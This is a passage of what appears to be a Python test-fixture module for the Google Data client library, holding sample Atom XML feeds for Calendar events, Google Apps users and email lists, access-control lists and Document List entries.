href='http://www.google.com/base/feeds/snippets/17495780256183230088'/>
<author>
<name>eBay</name>
</author>
<g:item_type type='text'>Products</g:item_type>
<g:item_language type='text'>EN</g:item_language>
<g:target_country type='text'>US</g:target_country>
<g:price type='floatUnit'>0.99 usd</g:price>
<g:image_link type='url'>http://thumbs.ebaystatic.com/pict/270195049057_1.jpg</g:image_link>
<g:category type='text'>Cameras & Photo>Digital Camera Accessories>Cables</g:category>
<g:category type='text'>Cords & Connectors>USB Cables>For Other Brands</g:category>
<g:customer_id type='int'>11729</g:customer_id>
<g:id type='text'>270195049057</g:id>
<g:expiration_date type='dateTime'>2008-02-06T03:26:46Z</g:expiration_date>
</entry>"""
RECURRENCE_EXCEPTION_ENTRY = """<entry xmlns='http://www.w3.org/2005/Atom'
xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'
xmlns:gd='http://schemas.google.com/g/2005'
xmlns:gCal='http://schemas.google.com/gCal/2005'>
<id>
http://www.google.com/calendar/feeds/default/private/composite/i7lgfj69mjqjgnodklif3vbm7g</id>
<published>2007-04-05T21:51:49.000Z</published>
<updated>2007-04-05T21:51:49.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>testDavid</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=aTdsZ2ZqNjltanFqZ25vZGtsaWYzdmJtN2dfMjAwNzA0MDNUMTgwMDAwWiBnZGF0YS5vcHMudGVzdEBt'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/composite/i7lgfj69mjqjgnodklif3vbm7g'>
</link>
<author>
<name>gdata ops</name>
<email>gdata.ops.test@gmail.com</email>
</author>
<gd:visibility value='http://schemas.google.com/g/2005#event.default'>
</gd:visibility>
<gCal:sendEventNotifications value='true'>
</gCal:sendEventNotifications>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed'>
</gd:eventStatus>
<gd:recurrence>DTSTART;TZID=America/Anchorage:20070403T100000
DTEND;TZID=America/Anchorage:20070403T110000
RRULE:FREQ=DAILY;UNTIL=20070408T180000Z;WKST=SU
EXDATE;TZID=America/Anchorage:20070407T100000
EXDATE;TZID=America/Anchorage:20070405T100000
EXDATE;TZID=America/Anchorage:20070404T100000 BEGIN:VTIMEZONE
TZID:America/Anchorage X-LIC-LOCATION:America/Anchorage
BEGIN:STANDARD TZOFFSETFROM:-0800 TZOFFSETTO:-0900 TZNAME:AKST
DTSTART:19701025T020000 RRULE:FREQ=YEARLY;BYMONTH=10;BYDAY=-1SU
END:STANDARD BEGIN:DAYLIGHT TZOFFSETFROM:-0900 TZOFFSETTO:-0800
TZNAME:AKDT DTSTART:19700405T020000
RRULE:FREQ=YEARLY;BYMONTH=4;BYDAY=1SU END:DAYLIGHT
END:VTIMEZONE</gd:recurrence>
<gd:where valueString=''></gd:where>
<gd:reminder minutes='10'></gd:reminder>
<gd:recurrenceException specialized='true'>
<gd:entryLink>
<entry>
<id>i7lgfj69mjqjgnodklif3vbm7g_20070407T180000Z</id>
<published>2007-04-05T21:51:49.000Z</published>
<updated>2007-04-05T21:52:58.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>testDavid</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=aTdsZ2ZqNjltanFqZ25vZGtsaWYzdmJtN2dfMjAwNzA0MDdUMTgwMDAwWiBnZGF0YS5vcHMudGVzdEBt'
title='alternate'></link>
<author>
<name>gdata ops</name>
<email>gdata.ops.test@gmail.com</email>
</author>
<gd:visibility value='http://schemas.google.com/g/2005#event.default'>
</gd:visibility>
<gd:originalEvent id='i7lgfj69mjqjgnodklif3vbm7g'
href='http://www.google.com/calendar/feeds/default/private/composite/i7lgfj69mjqjgnodklif3vbm7g'>
<gd:when startTime='2007-04-07T13:00:00.000-05:00'>
</gd:when>
</gd:originalEvent>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.canceled'>
</gd:eventStatus>
<gd:comments>
<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/i7lgfj69mjqjgnodklif3vbm7g_20070407T180000Z/comments'>
<feed>
<updated>2007-04-05T21:54:09.285Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#message'>
</category>
<title type='text'>Comments for: testDavid</title>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/feeds/default/private/full/i7lgfj69mjqjgnodklif3vbm7g_20070407T180000Z/comments'
title='alternate'></link>
</feed>
</gd:feedLink>
</gd:comments>
<gd:when startTime='2007-04-07T13:00:00.000-05:00'
endTime='2007-04-07T14:00:00.000-05:00'>
<gd:reminder minutes='10'></gd:reminder>
</gd:when>
<gd:where valueString=''></gd:where>
</entry>
</gd:entryLink>
</gd:recurrenceException>
</entry>"""
NICK_ENTRY = """<?xml version="1.0" encoding="UTF-8"?>
<atom:entry xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:apps="http://schemas.google.com/apps/2006"
xmlns:gd="http://schemas.google.com/g/2005">
<atom:id>https://apps-apis.google.com/a/feeds/example.com/nickname/2.0/Foo</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#nickname'/>
<atom:title type="text">Foo</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="https://apps-apis.google.com/a/feeds/example.com/nickname/2.0/Foo"/>
<atom:link rel="edit" type="application/atom+xml"
href="https://apps-apis.google.com/a/feeds/example.com/nickname/2.0/Foo"/>
<apps:nickname name="Foo"/>
<apps:login userName="TestUser"/>
</atom:entry>"""
NICK_FEED = """<?xml version="1.0" encoding="UTF-8"?>
<atom:feed xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/"
xmlns:apps="http://schemas.google.com/apps/2006">
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/nickname/2.0
</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#nickname'/>
<atom:title type="text">Nicknames for user SusanJones</atom:title>
<atom:link rel='http://schemas.google.com/g/2005#feed'
type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/nickname/2.0"/>
<atom:link rel='http://schemas.google.com/g/2005#post'
type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/nickname/2.0"/>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/nickname/2.0?username=TestUser"/>
<openSearch:startIndex>1</openSearch:startIndex>
<openSearch:itemsPerPage>2</openSearch:itemsPerPage>
<atom:entry>
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/nickname/2.0/Foo
</atom:id>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#nickname'/>
<atom:title type="text">Foo</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/nickname/2.0/Foo"/>
<atom:link rel="edit" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/nickname/2.0/Foo"/>
<apps:nickname name="Foo"/>
<apps:login userName="TestUser"/>
</atom:entry>
<atom:entry>
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/nickname/2.0/suse
</atom:id>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#nickname'/>
<atom:title type="text">suse</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/nickname/2.0/Bar"/>
<atom:link rel="edit" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/nickname/2.0/Bar"/>
<apps:nickname name="Bar"/>
<apps:login userName="TestUser"/>
</atom:entry>
</atom:feed>"""
USER_ENTRY = """<?xml version="1.0" encoding="UTF-8"?>
<atom:entry xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:apps="http://schemas.google.com/apps/2006"
xmlns:gd="http://schemas.google.com/g/2005">
<atom:id>https://apps-apis.google.com/a/feeds/example.com/user/2.0/TestUser</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#user'/>
<atom:title type="text">TestUser</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="https://apps-apis.google.com/a/feeds/example.com/user/2.0/TestUser"/>
<atom:link rel="edit" type="application/atom+xml"
href="https://apps-apis.google.com/a/feeds/example.com/user/2.0/TestUser"/>
<apps:login userName="TestUser" password="password" suspended="false"
ipWhitelisted='false' hashFunctionName="SHA-1"/>
<apps:name familyName="Test" givenName="User"/>
<apps:quota limit="1024"/>
<gd:feedLink rel='http://schemas.google.com/apps/2006#user.nicknames'
href="https://apps-apis.google.com/a/feeds/example.com/nickname/2.0?username=Test-3121"/>
<gd:feedLink rel='http://schemas.google.com/apps/2006#user.emailLists'
href="https://apps-apis.google.com/a/feeds/example.com/emailList/2.0?recipient=testlist@example.com"/>
</atom:entry>"""
USER_FEED = """<?xml version="1.0" encoding="UTF-8"?>
<atom:feed xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:apps="http://schemas.google.com/apps/2006"
xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/"
xmlns:gd="http://schemas.google.com/g/2005">
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/user/2.0
</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#user'/>
<atom:title type="text">Users</atom:title>
<atom:link rel="next" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/user/2.0?startUsername=john"/>
<atom:link rel='http://schemas.google.com/g/2005#feed'
type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/user/2.0"/>
<atom:link rel='http://schemas.google.com/g/2005#post'
type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/user/2.0"/>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/user/2.0"/>
<openSearch:startIndex>1</openSearch:startIndex>
<atom:entry>
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/user/2.0/TestUser
</atom:id>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#user'/>
<atom:title type="text">TestUser</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/user/2.0/TestUser"/>
<atom:link rel="edit" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/user/2.0/TestUser"/>
<gd:who rel='http://schemas.google.com/apps/2006#user.recipient'
email="TestUser@example.com"/>
<apps:login userName="TestUser" suspended="false"/>
<apps:quota limit="2048"/>
<apps:name familyName="Test" givenName="User"/>
<gd:feedLink rel='http://schemas.google.com/apps/2006#user.nicknames'
href="http://apps-apis.google.com/a/feeds/example.com/nickname/2.0?username=TestUser"/>
<gd:feedLink rel='http://schemas.google.com/apps/2006#user.emailLists'
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0?recipient=TestUser@example.com"/>
</atom:entry>
<atom:entry>
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/user/2.0/JohnSmith
</atom:id>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#user'/>
<atom:title type="text">JohnSmith</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/user/2.0/JohnSmith"/>
<atom:link rel="edit" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/user/2.0/JohnSmith"/>
<gd:who rel='http://schemas.google.com/apps/2006#user.recipient'
email="JohnSmith@example.com"/>
<apps:login userName="JohnSmith" suspended="false"/>
<apps:quota limit="2048"/>
<apps:name familyName="Smith" givenName="John"/>
<gd:feedLink rel='http://schemas.google.com/apps/2006#user.nicknames'
href="http://apps-apis.google.com/a/feeds/example.com/nickname/2.0?username=JohnSmith"/>
<gd:feedLink rel='http://schemas.google.com/apps/2006#user.emailLists'
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0?recipient=JohnSmith@example.com"/>
</atom:entry>
</atom:feed>"""
EMAIL_LIST_ENTRY = """<?xml version="1.0" encoding="UTF-8"?>
<atom:entry xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:apps="http://schemas.google.com/apps/2006"
xmlns:gd="http://schemas.google.com/g/2005">
<atom:id>
https://apps-apis.google.com/a/feeds/example.com/emailList/2.0/testlist
</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#emailList'/>
<atom:title type="text">testlist</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="https://apps-apis.google.com/a/feeds/example.com/emailList/2.0/testlist"/>
<atom:link rel="edit" type="application/atom+xml"
href="https://apps-apis.google.com/a/feeds/example.com/emailList/2.0/testlist"/>
<apps:emailList name="testlist"/>
<gd:feedLink rel='http://schemas.google.com/apps/2006#emailList.recipients'
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/testlist/recipient/"/>
</atom:entry>"""
EMAIL_LIST_FEED = """<?xml version="1.0" encoding="UTF-8"?>
<atom:feed xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/"
xmlns:apps="http://schemas.google.com/apps/2006"
xmlns:gd="http://schemas.google.com/g/2005">
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/emailList/2.0
</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#emailList'/>
<atom:title type="text">EmailLists</atom:title>
<atom:link rel="next" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0?startEmailListName=john"/>
<atom:link rel='http://schemas.google.com/g/2005#feed'
type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0"/>
<atom:link rel='http://schemas.google.com/g/2005#post'
type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0"/>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0"/>
<openSearch:startIndex>1</openSearch:startIndex>
<atom:entry>
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales
</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#emailList'/>
<atom:title type="text">us-sales</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales"/>
<atom:link rel="edit" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales"/>
<apps:emailList name="us-sales"/>
<gd:feedLink rel='http://schemas.google.com/apps/2006#emailList.recipients'
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/"/>
</atom:entry>
<atom:entry>
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-eng
</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#emailList'/>
<atom:title type="text">us-eng</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-eng"/>
<atom:link rel="edit" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-eng"/>
<apps:emailList name="us-eng"/>
<gd:feedLink rel='http://schemas.google.com/apps/2006#emailList.recipients'
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-eng/recipient/"/>
</atom:entry>
</atom:feed>"""
EMAIL_LIST_RECIPIENT_ENTRY = """<?xml version="1.0" encoding="UTF-8"?>
<atom:entry xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:apps="http://schemas.google.com/apps/2006"
xmlns:gd="http://schemas.google.com/g/2005">
<atom:id>https://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/TestUser%40example.com</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#emailList.recipient'/>
<atom:title type="text">TestUser</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="https://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/TestUser%40example.com"/>
<atom:link rel="edit" type="application/atom+xml"
href="https://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/TestUser%40example.com"/>
<gd:who email="TestUser@example.com"/>
</atom:entry>"""
EMAIL_LIST_RECIPIENT_FEED = """<?xml version="1.0" encoding="UTF-8"?>
<atom:feed xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/"
xmlns:gd="http://schemas.google.com/g/2005">
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient
</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#emailList.recipient'/>
<atom:title type="text">Recipients for email list us-sales</atom:title>
<atom:link rel="next" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/?startRecipient=terry@example.com"/>
<atom:link rel='http://schemas.google.com/g/2005#feed'
type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient"/>
<atom:link rel='http://schemas.google.com/g/2005#post'
type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient"/>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient"/>
<openSearch:startIndex>1</openSearch:startIndex>
<atom:entry>
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/joe%40example.com
</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#emailList.recipient'/>
<atom:title type="text">joe@example.com</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/joe%40example.com"/>
<atom:link rel="edit" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/joe%40example.com"/>
<gd:who email="joe@example.com"/>
</atom:entry>
<atom:entry>
<atom:id>
http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/susan%40example.com
</atom:id>
<atom:updated>1970-01-01T00:00:00.000Z</atom:updated>
<atom:category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/apps/2006#emailList.recipient'/>
<atom:title type="text">susan@example.com</atom:title>
<atom:link rel="self" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/susan%40example.com"/>
<atom:link rel="edit" type="application/atom+xml"
href="http://apps-apis.google.com/a/feeds/example.com/emailList/2.0/us-sales/recipient/susan%40example.com"/>
<gd:who email="susan@example.com"/>
</atom:entry>
</atom:feed>"""
ACL_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom'
xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'
xmlns:gAcl='http://schemas.google.com/acl/2007'>
<id>http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full</id>
<updated>2007-04-21T00:52:04.000Z</updated>
<title type='text'>Elizabeth Bennet's access control list</title>
<link rel='http://schemas.google.com/acl/2007#controlledObject'
type='application/atom+xml'
href='http://www.google.com/calendar/feeds/liz%40gmail.com/private/full'>
</link>
<link rel='http://schemas.google.com/g/2005#feed'
type='application/atom+xml'
href='http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full'>
</link>
<link rel='http://schemas.google.com/g/2005#post'
type='application/atom+xml'
href='http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full'>
</link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full'>
</link>
<generator version='1.0'
uri='http://www.google.com/calendar'>Google Calendar</generator>
<openSearch:totalResults>2</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<entry>
<id>http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full/user%3Aliz%40gmail.com</id>
<updated>2007-04-21T00:52:04.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/acl/2007#accessRule'>
</category>
<title type='text'>owner</title>
<content type='text'></content>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full/user%3Aliz%40gmail.com'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full/user%3Aliz%40gmail.com'>
</link>
<author>
<name>Elizabeth Bennet</name>
<email>liz@gmail.com</email>
</author>
<gAcl:scope type='user' value='liz@gmail.com'></gAcl:scope>
<gAcl:role value='http://schemas.google.com/gCal/2005#owner'>
</gAcl:role>
</entry>
<entry>
<id>http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full/default</id>
<updated>2007-04-21T00:52:04.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/acl/2007#accessRule'>
</category>
<title type='text'>read</title>
<content type='text'></content>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full/default'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full/default'>
</link>
<author>
<name>Elizabeth Bennet</name>
<email>liz@gmail.com</email>
</author>
<gAcl:scope type='default'></gAcl:scope>
<gAcl:role value='http://schemas.google.com/gCal/2005#read'>
</gAcl:role>
</entry>
</feed>"""
ACL_ENTRY = """<?xml version='1.0' encoding='UTF-8'?>
<entry xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:gd='http://schemas.google.com/g/2005' xmlns:gCal='http://schemas.google.com/gCal/2005' xmlns:gAcl='http://schemas.google.com/acl/2007'>
<id>http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full/user%3Aliz%40gmail.com</id>
<updated>2007-04-21T00:52:04.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/acl/2007#accessRule'>
</category>
<title type='text'>owner</title>
<content type='text'></content>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full/user%3Aliz%40gmail.com'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/liz%40gmail.com/acl/full/user%3Aliz%40gmail.com'>
</link>
<author>
<name>Elizabeth Bennet</name>
<email>liz@gmail.com</email>
</author>
<gAcl:scope type='user' value='liz@gmail.com'></gAcl:scope>
<gAcl:role value='http://schemas.google.com/gCal/2005#owner'>
</gAcl:role>
</entry>"""
DOCUMENT_LIST_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<ns0:feed xmlns:ns0="http://www.w3.org/2005/Atom" xmlns:ns2="http://schemas.google.com/g/2005" xmlns:ns3="http://schemas.google.com/docs/2007"><ns1:totalResults
xmlns:ns1="http://a9.com/-/spec/opensearchrss/1.0/">2</ns1:totalResults><ns1:startIndex
xmlns:ns1="http://a9.com/-/spec/opensearchrss/1.0/">1</ns1:startIndex><ns0:entry><ns0:content
src="http://foo.com/fm?fmcmd=102&key=supercalifragilisticexpeadocious"
type="text/html"
/><ns0:author><ns0:name>test.user</ns0:name><ns0:email>test.user@gmail.com</ns0:email></ns0:author><ns0:category
label="spreadsheet" scheme="http://schemas.google.com/g/2005#kind"
term="http://schemas.google.com/docs/2007#spreadsheet"
/><ns0:id>http://docs.google.com/feeds/documents/private/full/spreadsheet%3Asupercalifragilisticexpeadocious</ns0:id><ns0:link
href="http://foo.com/ccc?key=supercalifragilisticexpeadocious" rel="alternate"
type="text/html" /><ns0:link
href="http://foo.com/feeds/worksheets/supercalifragilisticexpeadocious/private/full"
rel="http://schemas.google.com/spreadsheets/2006#worksheetsfeed"
type="application/atom+xml" /><ns0:link
href="http://docs.google.com/feeds/documents/private/full/spreadsheet%3Asupercalifragilisticexpeadocious"
rel="self" type="application/atom+xml" /><ns0:title type="text">Test Spreadsheet</ns0:title><ns0:updated>2007-07-03T18:03:32.045Z</ns0:updated>
<ns2:feedLink href="http://docs.google.com/feeds/acl/private/full/spreadsheet%3Afoofoofoo" rel="http://schemas.google.com/acl/2007#accessControlList"/>
<ns2:resourceId>document:dfrkj84g_3348jbxpxcd</ns2:resourceId>
<ns2:lastModifiedBy>
<ns0:name>test.user</ns0:name>
<ns0:email>test.user@gmail.com</ns0:email>
</ns2:lastModifiedBy>
<ns3:writersCanInvite value='true'/>
<ns2:lastViewed>2009-03-05T07:48:21.493Z</ns2:lastViewed>
</ns0:entry><ns0:entry><ns0:content
src="http://docs.google.com/RawDocContents?action=fetch&docID=gr00vy"
type="text/html"
/><ns0:author><ns0:name>test.user</ns0:name><ns0:email>test.user@gmail.com</ns0:email></ns0:author><ns0:category
label="document" scheme="http://schemas.google.com/g/2005#kind"
term="http://schemas.google.com/docs/2007#document"
/><ns0:id>http://docs.google.com/feeds/documents/private/full/document%3Agr00vy</ns0:id><ns0:link
href="http://foobar.com/Doc?id=gr00vy" rel="alternate" type="text/html"
/><ns0:link
href="http://docs.google.com/feeds/documents/private/full/document%3Agr00vy"
rel="self" type="application/atom+xml" /><ns0:title type="text">Test Document</ns0:title><ns0:updated>2007-07-03T18:02:50.338Z</ns0:updated>
<ns2:feedLink href="http://docs.google.com/feeds/acl/private/full/document%3Afoofoofoo" rel="http://schemas.google.com/acl/2007#accessControlList"/>
<ns2:lastModifiedBy>
<ns0:name>test.user</ns0:name>
<ns0:email>test.user@gmail.com</ns0:email>
</ns2:lastModifiedBy>
<ns3:writersCanInvite value='false'/>
<ns2:lastViewed>2009-03-05T07:48:21.493Z</ns2:lastViewed>
</ns0:entry><ns0:id>http://docs.google.com/feeds/documents/private/full</ns0:id><ns0:link
href="http://docs.google.com" rel="alternate" type="text/html" /><ns0:link
href="http://docs.google.com/feeds/documents/private/full"
rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml"
/><ns0:link href="http://docs.google.com/feeds/documents/private/full"
rel="http://schemas.google.com/g/2005#post" type="application/atom+xml"
/><ns0:link href="http://docs.google.com/feeds/documents/private/full"
rel="self" type="application/atom+xml" /><ns0:title type="text">Available
Documents -
test.user@gmail.com</ns0:title><ns0:updated>2007-07-09T23:07:21.898Z</ns0:updated>
</ns0:feed>
"""
DOCUMENT_LIST_ENTRY = """<?xml version='1.0' encoding='UTF-8'?>
<ns0:entry xmlns:ns0="http://www.w3.org/2005/Atom" xmlns:ns1="http://schemas.google.com/g/2005" xmlns:ns2="http://schemas.google.com/docs/2007"><ns0:content
src="http://foo.com/fm?fmcmd=102&key=supercalifragilisticexpealidocious"
type="text/html"
/><ns0:author><ns0:name>test.user</ns0:name><ns0:email>test.user@gmail.com</ns0:email></ns0:author><ns0:category
label="spreadsheet" scheme="http://schemas.google.com/g/2005#kind"
term="http://schemas.google.com/docs/2007#spreadsheet"
/><ns0:id>http://docs.google.com/feeds/documents/private/full/spreadsheet%3Asupercalifragilisticexpealidocious</ns0:id><ns0:link
href="http://foo.com/ccc?key=supercalifragilisticexpealidocious"
rel="alternate" type="text/html" /><ns0:link
href="http://foo.com/feeds/worksheets/supercalifragilisticexpealidocious/private/full"
rel="http://schemas.google.com/spreadsheets/2006#worksheetsfeed"
type="application/atom+xml" /><ns0:link
href="http://docs.google.com/feeds/documents/private/full/spreadsheet%3Asupercalifragilisticexpealidocious"
rel="self" type="application/atom+xml" /><ns0:title type="text">Test Spreadsheet</ns0:title><ns0:updated>2007-07-03T18:03:32.045Z</ns0:updated>
<ns1:resourceId>spreadsheet:supercalifragilisticexpealidocious</ns1:resourceId>
<ns1:lastModifiedBy>
<ns0:name>test.user</ns0:name>
<ns0:email>test.user@gmail.com</ns0:email>
</ns1:lastModifiedBy>
<ns1:lastViewed>2009-03-05T07:48:21.493Z</ns1:lastViewed>
<ns2:writersCanInvite value='true'/>
</ns0:entry>
"""
DOCUMENT_LIST_ACL_ENTRY = """<?xml version='1.0' encoding='UTF-8'?>
<entry xmlns="http://www.w3.org/2005/Atom"
xmlns:gAcl='http://schemas.google.com/acl/2007'>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/acl/2007#accessRule'/>
<gAcl:role value='writer'/>
<gAcl:scope type='user' value='user@gmail.com'/>
</entry>"""
